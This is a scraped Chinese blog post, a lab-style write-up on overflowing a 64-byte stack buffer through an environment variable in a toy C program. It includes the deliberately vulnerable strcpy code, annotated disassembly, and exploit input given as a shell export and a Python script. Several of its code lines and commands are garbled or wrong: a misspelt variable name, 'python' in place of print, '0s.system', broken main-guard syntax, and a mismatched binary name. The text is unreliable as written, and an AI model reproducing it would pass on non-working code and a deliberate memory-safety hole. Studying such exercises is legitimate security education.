缓冲区溢出之环境变量
来源:互联网 发布:java 计算时间差 分钟 编辑:程序博客网 时间:2024/06/06 05:40
环境变量是什么呢?
操作系统下运行程序,每个进程都有其对应的环境变量设置,当一个新进程被创建时,除了明确的更改之外,其他的环境变量都会被继承
下面是百度上专业解释
值得关注的是环境变量是存放在堆栈中的!
如何查看环境变量呢?
执行下面程序的代码就会以数组形式显示。
如何编辑呢?
export name=“xxxxx”就可以添加name项或把name项改为xxxxx O(∩_∩)O
export name=‘python -c “print ‘A’*20”’ 你猜的就对了
#include <stdio.h>
int main(int argc,char** argv,char** envp)
{
int i =0;
while(envp[i])
{
printf("envp[%2d] = %s\n", i, envp[i]);
i +=1;
}
return0;
}
下面进入正题,是我们今天实验的代码,终于知道怎么把代码复制过来了 ┭┮﹏┭┮
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc,char** argv)
{
int modified;
char buffer[64];
char* variable;
variable = getenv("HEETIAN");// 获取环境变量HEETIAN的值
if(variable ==NULL)
{
printf("Please set the HEETIAN environment variable\n");
exit(1);
}
modified =0;
strcpy(buffer, variable);// 调用strcpy进行字符串复制,可引发缓冲区溢出
if(modified ==0x0d0a0d0a)// 判断modified的值是否为0x0d0a0d0a
{
printf("Congratulations, you pwned it.\n");
}
else
{
printf("Please try again, you got 0x%08X\n", modified);
}
return0;
}
将代码保存到文件名test.c (cat test.c能打开查看源码) 执行gcc -o1 test.c -o test(linux自带gcc编译器,-o1到-o3编译器优化逐渐增多,-o输出为)
esp为参数
0x0804848d<+9>: movl $0x80485d4,(%esp)
; 调用getenv获取环境变量HEETIAN的值
0x08048494<+16>:call0x8048364<getenv@plt>
; 将结果保存到variable变量,即[esp+0x5c]
0x08048499<+21>:mov %eax,0x5c(%esp)
; 判断返回结果是否为NULL , 获取操作一般都会有获取是否成功的判断
0x0804849d<+25>: cmpl $0x0,0x5c(%esp)
0x080484a2<+30>:jne0x80484bc<main+56>
......
; 初始化modified变量的值为0,位于[esp+0x58]
0x080484bc<+56>: movl $0x0,0x58(%esp)
; 调用strcpy对buffer进行填充,位于[esp+0x18],之前说过,传参是倒着来的,esp+0x18才是第一个参数,后面一直到strcpy把数据拷贝到了esp+18
0x080484c4<+64>:mov0x5c(%esp),%eax
0x080484c8<+68>:mov %eax,0x4(%esp)
0x080484cc<+72>:lea0x18(%esp),%eax
0x080484d0<+76>:mov %eax,(%esp)
0x080484d3<+79>:call0x8048384<strcpy@plt>
; 判断modified变量的值是否为0x0d0a0d0a
0x080484d8<+84>: cmpl $0xd0a0d0a,0x58(%esp)
这里有值得注意的,这次需要修改的值不是argv数组,而是叫HEETIAN的环境变量。需要修改的自然是环境变量了 O(∩_∩)O
Linuxshell中可以用$()或2个反引号(好像是单引号)来包裹一条shell命令并返回shell的执行结果
用到的命令:export HTEETIAN=$(python -c "python 'A'*64+'\x0a\x0d\x0a\x0d'")(注意字符的顺序,这里的16进制不是0x而是x)
插入:python的os模块提供创建子进程以及修改环境变量的函数,其中os.system函数可以创建一个子进程,且子进程会继承父进程环境变量参数信息;
ps.putenv可以修改进程的进程的环境变量的信息
例:下面的shell脚本同样可以解决本题
import os
defpwn():
os.putenv("HEETIAN","A"*64+"\x0a\x0d\x0a\x0d")
0s.system("./pwn3")
if_name_=="_main_":
pwn()
总结:分析不算难,不过被上一题给骗了,上来和上次一样把输入的参数写的很长 ┭┮﹏┭┮ 总之小心点,注意puts,strcpy这种函数的参数
- 缓冲区溢出之环境变量
- 缓冲区溢出之总结
- 缓冲区溢出笔记之---STACK溢出
- 缓冲区溢出笔记之---STACK溢出
- 缓冲区溢出笔记之---STACK溢出
- [转]浅谈缓冲区溢出之栈溢出
- 小菜谈谈之缓冲区溢出
- 缓冲区溢出之JMP ESP皮毛
- 安全测试之缓冲区溢出(BO)
- 缓冲区溢出之返回地址保护
- 缓冲区溢出
- 缓冲区溢出
- 缓冲区溢出
- 缓冲区溢出
- 缓冲区溢出
- 缓冲区溢出
- 缓冲区溢出
- 缓冲区溢出
- POJ 3468 A Simple Problem with Integers(线段树)
- Collection集合 ArrayList 集合 LinkedList集合的方法及其解释
- 开发一个基于ZXing库以及安卓Studio的二维码扫描小程序(一)
- C++动态规划算法之数字三角形系列问题:数塔及其变种
- Zephyr 操作系统
- 缓冲区溢出之环境变量
- 27. Remove Element
- mysql 把查询结果多行用逗号分隔组成一列
- 面试OR笔试8——字符最小分割
- python 继承重写父类方法
- R语言基础知识
- 利用Mysql数据库存储账户信息,C#编写登录界面
- 读书的五个境界
- 使用aspose.words for java 进行多文档间的转换操作